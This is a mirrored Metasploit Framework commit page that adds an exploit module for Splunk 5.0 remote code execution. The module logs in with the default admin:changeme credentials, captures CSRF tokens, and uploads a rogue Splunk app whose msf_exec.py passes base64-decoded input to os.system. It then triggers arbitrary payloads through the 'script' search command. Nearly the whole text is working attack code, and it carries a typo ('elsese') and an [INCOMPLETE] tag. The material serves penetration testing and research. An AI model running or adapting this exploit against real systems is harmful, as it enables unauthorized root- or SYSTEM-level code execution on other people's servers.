mirror of
https://github.com/rapid7/metasploit-framework
synced 2024-07-18 18:31:41 +02:00
Cleanup of #1062
This commit is contained in:
parent
c66777d028
commit
133ad04452
BIN
data/exploits/splunk/upload_app_exec.tgz
Normal file
BIN
data/exploits/splunk/upload_app_exec.tgz
Normal file
Binary file not shown.
15
external/source/exploits/splunk/upload_app_exec/bin/msf_exec.py
vendored
Executable file
15
external/source/exploits/splunk/upload_app_exec/bin/msf_exec.py
vendored
Executable file
@ -0,0 +1,15 @@
|
||||
import sys
|
||||
import base64
|
||||
import splunk.Intersplunk
|
||||
|
||||
results = []
|
||||
|
||||
try:
|
||||
sys.modules['os'].system(base64.b64decode(sys.argv[1]))
|
||||
|
||||
except:
|
||||
import traceback
|
||||
stack = traceback.format_exc()
|
||||
results = splunk.Intersplunk.generateErrorResults("Error : Traceback: " + str(stack))
|
||||
|
||||
splunk.Intersplunk.outputResults(results)
|
7
external/source/exploits/splunk/upload_app_exec/default/app.conf
vendored
Normal file
7
external/source/exploits/splunk/upload_app_exec/default/app.conf
vendored
Normal file
@ -0,0 +1,7 @@
|
||||
[launcher]
|
||||
author=Marc Wickenden
|
||||
description=Metasploit module spunk_upload_app_exec.rb
|
||||
version=1.3.3.7
|
||||
|
||||
[ui]
|
||||
is_visible = true
|
7
external/source/exploits/splunk/upload_app_exec/default/commands.conf
vendored
Normal file
7
external/source/exploits/splunk/upload_app_exec/default/commands.conf
vendored
Normal file
@ -0,0 +1,7 @@
|
||||
[msf_exec]
|
||||
type = python
|
||||
filename = msf_exec.py
|
||||
local = false
|
||||
enableheader = false
|
||||
streaming = false
|
||||
perf_warn_limit = 0
|
2
external/source/exploits/splunk/upload_app_exec/metadata/default.meta
vendored
Normal file
2
external/source/exploits/splunk/upload_app_exec/metadata/default.meta
vendored
Normal file
@ -0,0 +1,2 @@
|
||||
[commands]
|
||||
export = system
|
317
modules/exploits/multi/http/splunk_upload_app_exec.rb
Normal file
317
modules/exploits/multi/http/splunk_upload_app_exec.rb
Normal file
@ -0,0 +1,317 @@
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => '[INCOMPLETE] Splunk 5.0 Custom App Remote Code Execution',
|
||||
'Description' => %q{
|
||||
This module exploits a feature of Splunk whereby a custom application can be
|
||||
uploaded through the web based interface. Through the 'script' search command a
|
||||
user can call commands defined in their custom application which includes arbitrary
|
||||
perl or python code. To abuse this behavior, a valid Splunk user with the admin
|
||||
role is required. By default, this module uses the credential of "admin:changeme",
|
||||
the default Administrator credential for Splunk. Note that the Splunk web interface
|
||||
runs as SYSTEM on Windows, or as root on Linux by default. This module has only
|
||||
been tested successfully against Splunk 5.0.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
"@marcwickenden", # discovery and metasploit module
|
||||
"sinn3r", # metasploit module
|
||||
"juan vazquez", # metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://blog.7elements.co.uk/2012/11/splunk-with-great-power-comes-great-responsibility.html' ],
|
||||
[ 'URL', 'http://blog.7elements.co.uk/2012/11/abusing-splunk-with-metasploit.html' ],
|
||||
[ 'URL', 'http://docs.splunk.com/Documentation/Splunk/latest/SearchReference/Script' ]
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 1024,
|
||||
'DisableNops' => true
|
||||
},
|
||||
'Platform' => ['unix', 'win', 'linux'],
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Splunk 5.0.1 / Linux',
|
||||
{
|
||||
'Arch' => ARCH_CMD,
|
||||
'Platform' => [ 'linux', 'unix' ]
|
||||
}
|
||||
],
|
||||
[ 'Splunk 5.0.1 / Windows',
|
||||
{
|
||||
'Arch' => ARCH_CMD,
|
||||
'Platform' => 'win'
|
||||
}
|
||||
]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Sep 27 2012'))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(8000),
|
||||
OptString.new('USERNAME', [ true, 'The username with admin role to authenticate as','admin' ]),
|
||||
OptString.new('PASSWORD', [ true, 'The password for the specified username','changeme' ]),
|
||||
OptPath.new('SPLUNK_APP_FILE',
|
||||
[
|
||||
true,
|
||||
'The "rogue" Splunk application tgz',
|
||||
File.join(Msf::Config.install_root, 'data', 'exploits', 'splunk', 'upload_app_exec.tgz')
|
||||
])
|
||||
], self.class)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptBool.new('ReturnOutput', [ true, 'Display command output', false ]),
|
||||
OptBool.new('DisableUpload', [ true, 'Disable the app upload if you have already performed it once', false ]),
|
||||
OptBool.new('EnableOverwrite', [true, 'Overwrites an app of the same name. Needed if you change the app code in the tgz', false]),
|
||||
OptInt.new('CommandOutputDelay', [true, 'Seconds to wait before requesting command output from Splunk', 5])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def exploit
|
||||
# process standard options
|
||||
@username = datastore['USERNAME']
|
||||
@password = datastore['PASSWORD']
|
||||
file_name = datastore['SPLUNK_APP_FILE']
|
||||
|
||||
# process advanced options
|
||||
return_output = datastore['ReturnOutput']
|
||||
disable_upload = datastore['DisableUpload']
|
||||
@enable_overwrite = datastore['EnableOverwrite']
|
||||
command_output_delay = datastore['CommandOutputDelay']
|
||||
|
||||
# set up some variables for later use
|
||||
@auth_cookies = ''
|
||||
@csrf_form_key = ''
|
||||
app_name = 'upload_app_exec'
|
||||
p = payload.encoded
|
||||
print_status("Using command: #{p}")
|
||||
cmd = Rex::Text.encode_base64(p)
|
||||
|
||||
# log in to Splunk (if required)
|
||||
do_login
|
||||
|
||||
# fetch the csrf token for use in the upload next
|
||||
do_get_csrf('/en-US/manager/launcher/apps/local')
|
||||
|
||||
unless disable_upload
|
||||
# upload the arbitrary command execution Splunk app tgz
|
||||
do_upload_app(app_name, file_name)
|
||||
end
|
||||
|
||||
# get the next csrf token from our new app
|
||||
do_get_csrf("/en-US/app/#{app_name}/flashtimeline")
|
||||
|
||||
# call our command execution function with the Splunk 'script' command
|
||||
print_status("Invoking script command")
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => '/en-US/api/search/jobs',
|
||||
'method' => 'POST',
|
||||
'cookie' => @auth_cookies,
|
||||
'headers' =>
|
||||
{
|
||||
'X-Requested-With' => 'XMLHttpRequest',
|
||||
'X-Splunk-Form-Key' => @csrf_form_key
|
||||
},
|
||||
'vars_post' =>
|
||||
{
|
||||
'search' => "search * | script msf_exec #{cmd}", # msf_exec defined in default/commands.conf
|
||||
'status_buckets' => "300",
|
||||
'namespace' => "#{app_name}",
|
||||
'ui_dispatch_app' => "#{app_name}",
|
||||
'ui_dispatch_view' => "flashtimeline",
|
||||
'auto_cancel' => "100",
|
||||
'wait' => "0",
|
||||
'required_field_list' => "*",
|
||||
'adhoc_search_level' => "smart",
|
||||
'earliest_time' => "0",
|
||||
'latest_time' => "",
|
||||
'timeFormat' => "%s.%Q"
|
||||
}
|
||||
})
|
||||
|
||||
if return_output
|
||||
res.body.match(/data":\ "([0-9.]+)"/)
|
||||
job_id = $1
|
||||
|
||||
# wait a short time to let the output be produced
|
||||
print_status("Waiting for #{command_output_delay} seconds to retrieve command output")
|
||||
select(nil,nil,nil,command_output_delay)
|
||||
job_output = fetch_job_output(job_id)
|
||||
if job_output.body.match(/Waiting for data.../)
|
||||
print_status("No output returned in time")
|
||||
elsese
|
||||
output = ""
|
||||
job_output.body.each_line do |line|
|
||||
# strip off the leading and trailing " added by Splunk
|
||||
line.gsub!(/^"/,"")
|
||||
line.gsub!(/"$/,"")
|
||||
output << line
|
||||
end
|
||||
|
||||
# return the output
|
||||
print_status("Command returned:")
|
||||
print_line output
|
||||
end
|
||||
else
|
||||
handler
|
||||
end
|
||||
end
|
||||
|
||||
def check
|
||||
# all versions are actually "vulnerable" but check implemented for future proofing
|
||||
# and good practice
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => '/en-US/account/login',
|
||||
'method' => 'GET'
|
||||
}, 25)
|
||||
|
||||
if res and res.body =~ /Splunk Inc\. Splunk/
|
||||
return Exploit::CheckCode::Appears
|
||||
else
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
end
|
||||
|
||||
def do_login
|
||||
print_status("Authenticating...")
|
||||
# this method borrowed with thanks from splunk_mappy_exec.rb
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => '/en-US/account/login',
|
||||
'method' => 'GET'
|
||||
})
|
||||
|
||||
cval = ''
|
||||
uid = ''
|
||||
session_id_port =
|
||||
session_id = ''
|
||||
if res and res.code == 200
|
||||
res.headers['Set-Cookie'].split(';').each {|c|
|
||||
c.split(',').each {|v|
|
||||
if v.split('=')[0] =~ /cval/
|
||||
cval = v.split('=')[1]
|
||||
elsif v.split('=')[0] =~ /uid/
|
||||
uid = v.split('=')[1]
|
||||
elsif v.split('=')[0] =~ /session_id/
|
||||
session_id_port = v.split('=')[0]
|
||||
session_id = v.split('=')[1]
|
||||
end
|
||||
}
|
||||
}
|
||||
else
|
||||
fail_with(Exploit::Failure::NotFound, "Unable to get session cookies")
|
||||
end
|
||||
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => '/en-US/account/login',
|
||||
'method' => 'POST',
|
||||
'cookie' => "uid=#{uid}; #{session_id_port}=#{session_id}; cval=#{cval}",
|
||||
'vars_post' =>
|
||||
{
|
||||
'cval' => cval,
|
||||
'username' => @username,
|
||||
'password' => @password
|
||||
}
|
||||
})
|
||||
|
||||
if not res or res.code != 303
|
||||
fail_with(Exploit::Failure::NoAccess, "Unable to authenticate")
|
||||
else
|
||||
session_id_port = ''
|
||||
session_id = ''
|
||||
res.headers['Set-Cookie'].split(';').each {|c|
|
||||
c.split(',').each {|v|
|
||||
if v.split('=')[0] =~ /session_id/
|
||||
session_id_port = v.split('=')[0]
|
||||
session_id = v.split('=')[1]
|
||||
end
|
||||
}
|
||||
}
|
||||
@auth_cookies = "#{session_id_port}=#{session_id}"
|
||||
end
|
||||
end
|
||||
|
||||
def do_upload_app(app_name, file_name)
|
||||
archive_file_name = ::File.basename(file_name)
|
||||
print_status("Uploading file #{archive_file_name}")
|
||||
file_data = ::File.open(file_name, "rb") { |f| f.read }
|
||||
|
||||
boundary = '--------------' + rand_text_alphanumeric(6)
|
||||
|
||||
data = "--#{boundary}\r\n"
|
||||
data << "Content-Disposition: form-data; name=\"splunk_form_key\"\r\n\r\n"
|
||||
data << "#{@csrf_form_key}"
|
||||
data << "\r\n--#{boundary}\r\n"
|
||||
|
||||
if @enable_overwrite
|
||||
data << "Content-Disposition: form-data; name=\"force\"\r\n\r\n"
|
||||
data << "1"
|
||||
data << "\r\n--#{boundary}\r\n"
|
||||
end
|
||||
|
||||
data << "Content-Disposition: form-data; name=\"appfile\"; filename=\"#{archive_file_name}\"\r\n"
|
||||
data << "Content-Type: application/x-compressed\r\n\r\n"
|
||||
data << file_data
|
||||
data << "\r\n--#{boundary}--\r\n"
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => '/en-US/manager/appinstall/_upload',
|
||||
'method' => 'POST',
|
||||
'cookie' => @auth_cookies,
|
||||
'ctype' => "multipart/form-data; boundary=#{boundary}",
|
||||
'data' => data
|
||||
}, 30)
|
||||
|
||||
if (res and (res.code == 303 or (res.code == 200 and res.body !~ /There was an error processing the upload/)))
|
||||
print_status("#{app_name} successfully uploaded")
|
||||
else
|
||||
fail_with(Exploit::Failure::Unknown, "Error uploading")
|
||||
end
|
||||
end
|
||||
|
||||
def do_get_csrf(uri)
|
||||
print_status("Fetching csrf token from #{uri}")
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => uri,
|
||||
'method' => 'GET',
|
||||
'cookie' => @auth_cookies
|
||||
})
|
||||
res.body.match(/FORM_KEY":\ "(\d+)"/)
|
||||
@csrf_form_key = $1
|
||||
fail_with(Exploit::Failure::Unknown, "csrf form Key not found") if not @csrf_form_key
|
||||
end
|
||||
|
||||
def fetch_job_output(job_id)
|
||||
# fetch the output of our job id as csv for easy parsing
|
||||
print_status("Fetching job_output for id #{job_id}")
|
||||
res = send_request_raw(
|
||||
{
|
||||
'uri' => "/en-US/api/search/jobs/#{job_id}/result?isDownload=true&timeFormat=%25FT%25T.%25Q%25%3Az&maxLines=0&count=0&filename=&outputMode=csv&spl_ctrl-limit=unlimited&spl_ctrl-count=10000",
|
||||
'method' => 'GET',
|
||||
'cookie' => @auth_cookies,
|
||||
'encode_param' => 'false'
|
||||
})
|
||||
end
|
||||
|
||||
end
|
Loading…
Reference in New Issue
Block a user